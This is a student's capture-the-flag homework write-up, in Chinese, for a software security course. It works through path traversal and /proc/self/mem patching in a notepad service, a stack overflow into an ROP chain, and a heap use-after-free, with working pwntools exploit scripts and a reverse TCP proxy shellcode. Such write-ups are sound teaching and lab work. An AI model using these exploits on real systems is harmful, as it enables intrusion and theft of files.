---
# System prepended metadata

title: SWSEC HW3 Writeup
tags: [swsec, writeup]

---

# SWSEC HW3 Writeup
###### tags: `swsec` `writeup`

<style>
    p:has(img) {
        text-align: center;
    }
    
    .markdown-body img {
        max-width: 70%;
    }
</style>

## Notepad-Stage1
### Recon
保護全開、有 seccomp -> ORW 與 socket 相關 不能 execve

![image](https://hackmd.io/_uploads/BywYc1K86.png =50%x)

`openfile` 中有 path traversal 漏洞 而透過 `snprintf(0x80)` 只要 `note_name` 夠長 就能讓 `.txt` 不會被 append 到 `fn`

![image](https://hackmd.io/_uploads/HkRmF1KUT.png =60%x)

`command_editnote`、`command_shownote` 皆會呼叫到 `openfile`
結合 path traversal 漏洞 可以任意讀寫檔案

![image](https://hackmd.io/_uploads/B1iMiJKLa.png)

`commane_editnote` 會透過 `strlen` 計算要 write 的量 所以寫的資料中途不能有 NULL byte

![image](https://hackmd.io/_uploads/HJMCBltIT.png)

### Exploit
透過在檔名 prepend `/` 的方式 不會影響檔案路徑解析
當塞入太多 `/` 導致 `.txt` 沒被完整複製進去導致噴錯時 就能知道 backend 傳回來的 path (`resp.payload`) 究竟有多長 進而推算需要加上多少 `/` 才能把 `.txt` 完全推走

接著透過 `../` 即可跳出 cwd 讀到其他路徑的檔案 這邊直接去讀 `/flag_user`

`Notepad-Stage1/exp.py`
```python
from pwn import *
r = remote(host, port)

register()
login()

new_note(b"a", b"a\n")

fn = b"a"
while True:
    fn = b"/" + fn
    content = show_note(fn, 0)
    if b"Couldn't open the file." in content:
        break

host_path_len = 0x80 - 3 - fn.count(b"/") - 1

content = show_note(b"../../../flag_user".rjust(0x80 - host_path_len, b"/"), 0, 0x80)
print(content.decode())
```

![solve](https://hackmd.io/_uploads/SyIm2ktIp.png)

FLAG: `flag{Sh3l1cod3_but_y0u_c@nnot_get_she!!}`

## Notepad-Stage2
透過上一個 stage 的 path traversal 可以用來讀 procfs
從 `/proc/1/cmdline` 裡面可以讀到 backend binary 的檔名 其路徑為 `/home/notepad/backend_4050c20b6ca4118b63acd960cd1b9cd8`

![image](https://hackmd.io/_uploads/rJw8pkFLa.png)

有了路徑之後即可 leak backend binary 一次可以讀 0x80 bytes

```python
content = show_note(b"../../../proc/1/cmdline".rjust(0x80 - host_path_len, b"/"), 0, 0x80)
fn = content.decode().split(" ")[2]

file_content = b""

try:
    for i in range(len(file_content), 0x600000, 0x80):
        content = show_note(f"../../..{fn}".encode().rjust(0x80 - host_path_len, b"/"), i, 0x80)
        if b"Read note failed." in content:
            break
        file_content += content
finally:
    with open("backend", "wb") as f:
        f.write(file_content)
```

此時會發現無法透過 path traversal 的洞來讀 `/flag_backend`
所以開始看 backend

### Recon
保護全開 但沒有 seccomp

當 cmd 是 `0x8787` 的時候 backend 即會讀取 `/flag_backend` 並傳回來

![image](https://hackmd.io/_uploads/HJZO0JY8p.png =50%x)
![image](https://hackmd.io/_uploads/H1Rc0Jt8p.png =40%x)


### Exploit
一樣是使用 procfs 這次的目標是 `/proc/self/mem` 此為自己這個 process 的 memory 映射 操作這個檔案等於操作自己的記憶體內容

可以先透過 `/proc/self/maps` 讀自己的 memory layout 得到 binary base、libc base 等資訊

![image](https://hackmd.io/_uploads/Hk801lFU6.png =60%x)

這時候雖然 .text 段是不可寫的 但透過 `/proc/self/mem` 卻能繞過這個限制
Ref: https://offlinemark.com/2021/05/12/an-obscure-quirk-of-proc/

因此直接 patch binary 讓其執行任意 code `register` 功能用不到了 所以把他 patch 掉

`puts("Register Success")` -> `puts(resp.payload)`
![image](https://hackmd.io/_uploads/S13PWgKIT.png)

`mov [rbp+req.cmd], 1` -> `mov [rbp+req.cmd], 0x8787`
![image](https://hackmd.io/_uploads/S1rWzeFI6.png)
![image](https://hackmd.io/_uploads/HylCblt8T.png)

這樣下次 call register notepad 即會發出 get flag 的 request 然後直接 puts 出來

`Notepad-Stage2/exp.py`
```python
host_path_len = 21
file_content = b""

for i in range(0, 0x6000, 0x80):
    content = show_note(b"../../../proc/self/maps".rjust(0x80 - host_path_len, b"/"), i, 0x80)
    if b"Read note failed." in content:
        break
    file_content += content

binary_base = None
libc_base = None
stack_base = None

for l in file_content.decode().splitlines():
    s = l.split(" ")
    if s[-1] == "/home/notepad/notepad" and binary_base is None:
        binary_base = int(s[0].split("-")[0], 16)
    elif s[-1] == "/usr/lib/x86_64-linux-gnu/libc.so.6" and libc_base is None:
        libc_base = int(s[0].split("-")[0], 16)
    elif s[-1] == "[stack]" and stack_base is None:
        stack_base = int(s[0].split("-")[0], 16)

# override code to puts(resp.payload)
binary.address = binary_base
write_target = binary_base + 0x188A
shellcode = "lea rdi, [rbp-0x110+4] /* resp->payload */"
payload = asm(shellcode).ljust(0x189E - 0x188A, b"\x90")
edit_note(b"../../../../../proc/self/mem".rjust(0x80 - host_path_len, b"/"), write_target, payload)

# overwrite cmd
write_target = binary_base + 0x17C4
payload = p32(0x8787)
edit_note(b"../../../../../proc/self/mem".rjust(0x80 - host_path_len, b"/"), write_target, payload)

flag = register()
print(flag.decode())
```

![solve](https://hackmd.io/_uploads/BJvu2kKUa.png)

FLAG: `flag{why_d0_y0u_KnoM_tH1s_c0WW@nd!?}`

## Notepad-Stage3 (WIP)
透過前端操作太痛苦了 所以將 register 複寫成 reverse tcp proxy
會先連到我的 server 並接收 request、傳給 backend、回傳結果到 server

行為如下:

```c
void reverse_tcp(int backend_fd) {
    int reverse_fd;
    struct sockaddr_in addr;
    struct Command req;
    struct Response resp;

    reverse_fd = syscall(SYS_socket, AF_INET, SOCK_STREAM, 0);
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    addr.sin_port = htons(40005);
    bzero(addr.sin_zero, sizeof(addr.sin_zero));
    syscall(SYS_connect, reverse_fd, &addr, 0x10);

    while (1) {
        syscall(SYS_read, reverse_fd, &req, sizeof(req));
        syscall(SYS_write, backend_fd, &req, sizeof(req));
        syscall(SYS_read, backend_fd, &resp, sizeof(resp));
        syscall(SYS_write, reverse_fd, &resp, sizeof(resp));
    }
}
```

將其 build 成 shellcode 後 可能會出現 NULL byte 此時 `edit_note` 寫的就不完整
為了避免這個問題 將裡面 `strlen` 的部分覆蓋成從 stack 上抓 call `edit_note` 前所存的 `note_lena`

![image](https://hackmd.io/_uploads/rylkPgYIa.png)

`Notepad-Stage3/connect.py`
`Notepad-Stage3/shellcode.py`
```asm
mov rax,QWORD PTR [rbp-0x20]
sub ax,0x50 /* note_bufa - 0x50, use ax to prevent higher 0 bit in instruction */
mov rdx,QWORD PTR [rax]
```

### Recon
每個 command 都是獨立的新連線 (`command_handler`) 而且都不會 close connection

程式裡面有 malloc 但沒有 free 所以沒有 UAF 相關的洞

在 `check_token` 中 可以看到奇怪的行為
當找到對應 token 的 session 時 會將 `(req->)token + 33` 複製到 `session->token` 上去更新 token

![image](https://hackmd.io/_uploads/SJo1OlFIT.png)

<img src=https://hackmd.io/_uploads/Bk0O_lF8p.png width=35%> &nbsp;&nbsp;&nbsp; <img src=https://hackmd.io/_uploads/HkeqdgtI6.png width=35%>

觀察後發現 `token+33` 實際上就是 `payload + 1`
而 `session->token` 僅有 32 bytes 若 `payload` 夠長 可以蓋到 `session->next` 甚至是 heap 上的下一個 chunk

![image](https://hackmd.io/_uploads/BkTDjeF8p.png)

僅 `command_getgolder` 跟 `command_newnote` 中有用到 `check_token`


另外看到 `command_login` 中的 `resp` 沒有被 `memset` 為 0
因此可能會 leak stack 上剩下來的東西

![image](https://hackmd.io/_uploads/rkwLogtL6.png)

### Exploit
先 call `get_flag` 後 stack 上會殘留一些 address
接著再 call `command_login` 可以看到一些長得像 stack 上的 address 的東西
可以藉此 leak stack address 與 canary

![image](https://hackmd.io/_uploads/rkiu6lYLT.png)

`Notepad-Stage3/Server.py`
```python
from pwn import *

l = listen(40005)
_ = l.wait_for_connection()

token = b""
l.send(((0x8787).to_bytes(4, 'little') + token).ljust(0xA4, b"\x00"))
res = l.recv(0x104)
flag = res[4:].strip(b"\x00")

l.send(((2).to_bytes(4, 'little') + b"\x00" * 32 + b"AAA\x00").ljust(0xA4, b"\x00"))
res = l.recv(0x104)
token = res[4:4+32]
```

#### 任意讀
`command_getfolder` 會回傳 `user->root`

![image](https://hackmd.io/_uploads/ryl-AeYI6.png =40%x)

透過 `check_token` overflow 蓋掉下一個 `session->user` 的位置 把它蓋成 `&target-0x20` 後即可透過 `command_getfolder` 讀取該位置的值

要確保下一個 heap chunk 仍是 session 最簡單的辦法是直接登入兩次

#### 任意寫
可以透過 `check_token` 來做寫入 但寫入的東西中途不能有 NULL byte

![image](https://hackmd.io/_uploads/SJo1OlFIT.png)

先把 `session->next` 控到 `&target-0x10` 然後再觸發一次 `check_token`
這裡要注意的是 當 `current_session = &target-0x10` 的時候要能驗過 token
所以必須先用前面的任意讀來 leak 上面原本的東西 再把它當成這次 request 的 token

#### ROP
透過 uninitialized 的洞 leak stack 後 可以算出 `connection_handler` 的 stack frame
所以可以將其 return address 寫成自己的 address

另外 stack 上也有 libc 相關 address 可以用其還原 libc base

除了透過任意寫一個一個 gadget 慢慢找地方寫 可以把 ROP chain 直接寫在 `req.payload` (不用管 `strcpy` 遇到 NULL 的問題了) 再透過 `pop rsp` 的 gadget 跳到 `req.payload` 中的 ROP chain

ROP chain 裡面可以 call `mmap` 開一段可執行的記憶體並 call `read` 把 shellcode 讀進去跑 這樣可以 bypass 難用的 `strcpy`
關於 read 所需的 `fd` 因為 connection 不會關 所以 fd 會隨著每次 request 遞增 因此是可以推算的
若有遇到 local 算不準的問題 可以先到 stack 上讀前面 stack frame 上存的 fd 為基準再去遞增

#### RCE
最後拿 shellcode setuid、打 reverse shell 應就可拿 flag

---
~~FLAG~~ 沒空寫 exploit QQ

## HACHAMA
### Recon
保護全開、有 seccomp 不能 execve

![image](https://hackmd.io/_uploads/SkxGvR_La.png =50%x)

有兩個 read，另外有一個 strcpy 會把 input 放到 global var 上後再 concat ` hachamachama`
`n`、`n2` 看起來都不會讀超過 buffer

![image](https://hackmd.io/_uploads/rJaPvCOLT.png =50%x)

觀察 bss 發現 `msg` 的長度是 32 後面緊接著 `n2` 如果 `name` 剛好是 20 bytes 滿 在後面接上 ` hachamachama` 後 最後面的 `a` 會蓋到 n2 上面 讓下面的 `n2` 變成 0x61
這讓下面的 read 會比 `buffer` 還長 變得可以做 BOF 但只能疊 `0x61 - 0x40 - 0x8 // 8 = 3` 個 ROP Gagdet

![image](https://hackmd.io/_uploads/r1N9vAuIT.png =50%x)


### Exploit
在 `n2` 被變大之後 透過底下的 `write` 可以讀到 canary 跟 return address 藉此算出 binary base
另外更底下也有 `__libc_start_call_main+128` 在 stack 上 另外可以推出 libc address

因為這是 dynamically linked binary 沒多少 gadget 能用 所以直接從 libc 上找 gadget

讀完一次之後做 BOF 疊 ROP 跳回 `strcpy(&msg[strlen(msg)], " hachamachama")` 的地方
`strlen` 的 return value 放在 `rax` 因此跳到比他下面 (`main + 0xde`) 配合 `pop rax` 的 gadget 就不用管 `strlen` 了 使其回傳 21
這樣 `n2` 上面就會蓋成 `ma` 亦即 0x6160 可以一次讀到更多的 ROP chain 進來 最後做 ORW 結束

這裡要注意 不能把 `n2` 蓋得太大 否則在 read/write 時會噴 `EINVAL`

![image](https://hackmd.io/_uploads/B1iNi0OLT.png =60%x)


`HACHAMA/exp.py`
```python
from pwn import *
r = remote(host, port)

libc = ELF("./libc.so.6")
binary = ELF('./chal')

LIBC_START_CALL_MAIN_OFFSET = 0x29d10

r.recvuntil(b"Haaton's name? ")
r.send(b"A" * 20)

r.recvline()
r.recvline()

r.send(b"HACHAMA\0")
b = r.recv()

canary = b[0x38:0x38+0x8]
# __libc_start_call_main+128
libc.address = u64(b[0x48:0x48+0x8]) - LIBC_START_CALL_MAIN_OFFSET - 128
binary_base = u64(b[0x58:0x58+0x8]) - binary.symbols['main']

POP_RAX = libc.address + 0x45eb0
POP_RDI = libc.address + 0x2a3e5
POP_RSI = libc.address + 0x2be51
POP_RDX_R12 = libc.address + 0x11f497
SYSCALL = libc.address + 0x4278e

# bss + 0x900
rbp = binary_base + 0x4000 + 0x900
payload = flat([
    b"A" * 56,
    canary,
    rbp,
    POP_RAX, 21,  # custum strlen
    binary_base + binary.symbols['main'] + 0xde
])
r.send(payload)
r.recvline()
r.recvline()

# &"/home/chal/flag.txt" = buffer
FLAG_ADDR = rbp - 0x40
# bss + 0x800
BUF_ADDR = binary_base + 0x4000 + 0x800

payload = flat([
    b"/home/chal/flag.txt\0".ljust(56, b"A"),
    canary,
    rbp,
    # rdi already point to buffer
    # POP_RDI, # FLAG_ADDR,
    POP_RSI, 0,
    POP_RDX_R12, 0, 0,
    POP_RAX, 2,
    SYSCALL,     # open
    POP_RDI, 3,   # fd
    POP_RSI, BUF_ADDR,
    POP_RDX_R12, 0x100, 0,
    POP_RAX, 0,
    SYSCALL,    # read
    POP_RDI, 1,   # fd
    POP_RSI, BUF_ADDR,
    POP_RDX_R12, 0x100, 0,
    POP_RAX, 1,
    SYSCALL    # write
])
r.send(payload)
flag = r.recvline()
```

![solve](https://hackmd.io/_uploads/SJR3BRdUa.png)

FLAG: `flag{https://www.youtube.com/watch?v=qbEdlmzQftE&list=PLQoA24ikdy_lqxvb6f70g1xTmj2u-G3NT&index=1}
`

## UAF++
### Recon
保護全開

`get_idx` 會檢查範圍

![image](https://hackmd.io/_uploads/SyhDARdIp.png =25%x)

`register_entity` 會把 malloc 出來的 address 放到 global variable (`entities`) 上
相較於 Lab UAF 這隻程式會一次做 malloc entity 跟 set name 不能再分開做

![image](https://hackmd.io/_uploads/BJj2AA_Ip.png)

`delete_entity` free 完之後不會清掉 `entities` 上面的值

![image](https://hackmd.io/_uploads/BJyGyJFUa.png =30%x)


### Exploit
這隻程式不再送 gift 了 heap 跟 libc 都要自己來 leak

前面先註冊兩個 entity 其中一個註冊非常長的 name (0x418 -> chunk size 0x420) 另一個 chunk 則是短的 name (0x8 -> chunk size 0x20) 再將這兩個 chunk 都 delete 掉

此時 heap 長這樣:
tcache 中為 `&entities[1] -> entities[1].name -> &entities[0]`
unsorted bin 則為 `entities[0].name`

![image](https://hackmd.io/_uploads/rkk0xkK8a.png)

觀察 `struct entity` 可以發現 tcache->next 跟 name 是重疊的

![image](https://hackmd.io/_uploads/H1iyz1YUp.png =40%x)

這時候 trigger `entities[1]` 的 event 他會印出 tcache->next 指向的 chunk (`entities[1].name`) 的內容 也就是上個 chunk 的 tcache->next (指到 `entities[0]`) 這樣就可以算 heap base

再來 register 一個 name chunk (size 0x30) 不能從 tcache 拿的 以 pop 一個與 entity 相同大小 (0x20) 的 tcache chunk (順便寫 `/bin/sh`)

另外再 register 一個 entity 其 name chunk 會跟 entity 一樣大 這樣該 entity 的 name chunk 就會跟 `entities[0]` 重疊 set name 的同時就是改 `entities[0]` 的值

在 unsorted bin 中的 chunk 其 `fd`、`bk` 會指到 `main_arena` 中的 unsorted bin 位置 可以藉此來 leak libc base

把 `entities[0].name` 寫成 `fd` 所在的 address
還可以順便把 `entities[0].event` 寫成 `default_handle` 所在位置來 leak binary base
這裡要考慮到前面 size 0x30 的 chunk 是從 size 0x420 的那個 chunk 切出來的 要補一下 offset 0x30

後面 address 都有了之後 再重施故技把 `entities[0]` 改寫
這次把 `entities[0].event` 寫成 `&"/bin/sh"`、`entities[0].handler` 寫成 `&system"`
`trigger_event(0)` 即有 shell

`register_entity`、`delete_entity` 等 function 請參考壓縮檔中腳本
`UAF++/exp.py`
```python
from pwn import *
r = remote(host, port)

MAIN_ARENA_OFFSET = 0x1ecb80
libc = ELF("./libc-2.31.so")
binary = ELF("./chal")

register(0, b"A" * 0x417)
register(1, b"/bin/sh")
delete(0)
delete(1)

trigger_event(1)
r.recvuntil(b"Name: ")
# Index 0 entity addr
chunk_addr = u64(r.recv(6).ljust(8, b"\x00"))
sh_addr = chunk_addr + 0x20

# pop tcache
register(1, b"/bin/sh\0" + b"a" * (0x20 - 1))
# the string chunk here equals to Index 0 entity addr
register(1, (p64(chunk_addr + 0x20 + 0x30) + p64(chunk_addr + 0x20 + 0x420 + 0x10))[:-1])

trigger_event(0)
r.recvuntil(b"Name: ")
# &main_arena+0x60
main_arena_addr = u64(r.recv(6).ljust(8, b"\x00")) - 0x60
libc.address = main_arena_addr - MAIN_ARENA_OFFSET # main_arena offset

r.recvuntil(b"EVENT: get event named \"")
# &default_handle
handler_addr = u64(r.recv(6).ljust(8, b"\x00"))
binary_addr = handler_addr - binary.symbols['default_handle']

delete(1)
register(1, (p64(sh_addr) + p64(sh_addr) + p64(libc.symbols['system']))[:-1])
trigger_event(0)
```

![solve](https://hackmd.io/_uploads/Skmar0_Up.png =45%x)

FLAG: `flag{Y0u_Kn0w_H0w_T0_0veR1aP_N4me_aNd_EnT1Ty!!!}`

---

題外話 要知道 `main_arena` 在 libc 中的 address 會需要該 libc 的 debug symbol

![image](https://hackmd.io/_uploads/HJWWwyK8p.png)

本題版本為 `2.31-0ubuntu9.9` 經過一番搜尋找到 [libc6-dbg 2.31-0ubuntu9.9](https://blueprints.launchpad.net/ubuntu/focal/amd64/libc6-dbg/2.31-0ubuntu9.9)
先透過 `readelf -x .gnu_debuglink ./libc-2.31.so` 找到對應的 symbol 檔名

![image](https://hackmd.io/_uploads/SkUxOkKUa.png)

再去 deb 裡面抓檔案出來丟到同個資料夾 這樣 gdb 就會去抓了
也能用 `readelf` 去找到 offset 寫到 exploit 中